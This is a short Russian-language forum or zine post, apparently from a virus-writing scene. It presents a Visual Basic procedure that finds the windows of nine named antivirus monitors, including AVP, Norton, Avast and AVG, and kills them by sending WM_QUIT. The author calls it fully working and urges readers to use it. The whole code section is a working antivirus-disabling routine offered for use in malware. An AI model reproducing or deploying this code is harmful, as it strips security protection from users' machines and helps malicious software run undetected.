KillAVMonitorz - 09:12 - by Ultras
 
 Решил написать я маленькую процедуру на vb, которая бы убивала av мониторы в памяти.
Все получилось и она работает 100%. Я написал 2 версий этой процедуры одна убивала av
через SendMessageA, а другая через PostMessageA. Но решил все таки опубликовать метод
через PostMessageA он меньше. Юзайте......



' win32 api которые нужны будкт в этой процедуре.

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
    (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
    (ByVal lpClassName As String, ByVal lpWindowName As String) As Long   
    
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _
    (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

' константа выхода

Const WM_QUIT = &H10

' процедура уничтожения av мониторов и сканеров в памяти.

Sub az()

' список из 9 мониторов которые мы хотим удалить из памяти.

For c = 1 To 9
If c = 1 Then av$ = "AVP Monitor"
If c = 2 Then av$ = "Amon Antivirus Monitor"
If c = 3 Then av$ = "Norton AntiVirus"
If c = 4 Then av$ = "AVP Монитор"
If c = 5 Then av$ = "Antivэrusov¤ monitor Amon"
If c = 6 Then av$ = "Amon Antivirus Monitor"
If c = 7 Then av$ = "Avast32 -- Rezidentnэ podpora"
If c = 8 Then av$ = "AVG Control Center"
If c = 9 Then av$ = "AVP Office Guard"

' поиск окна с выше перечисленным именем

hW = FindWindow(vbNullString, av$ & Chr(0))

' киляем монитор

z = PostMessage(hW, WM_QUIT, 0, 0)

' продолжим цикл

Next c

' конец

End Sub


Вот и все...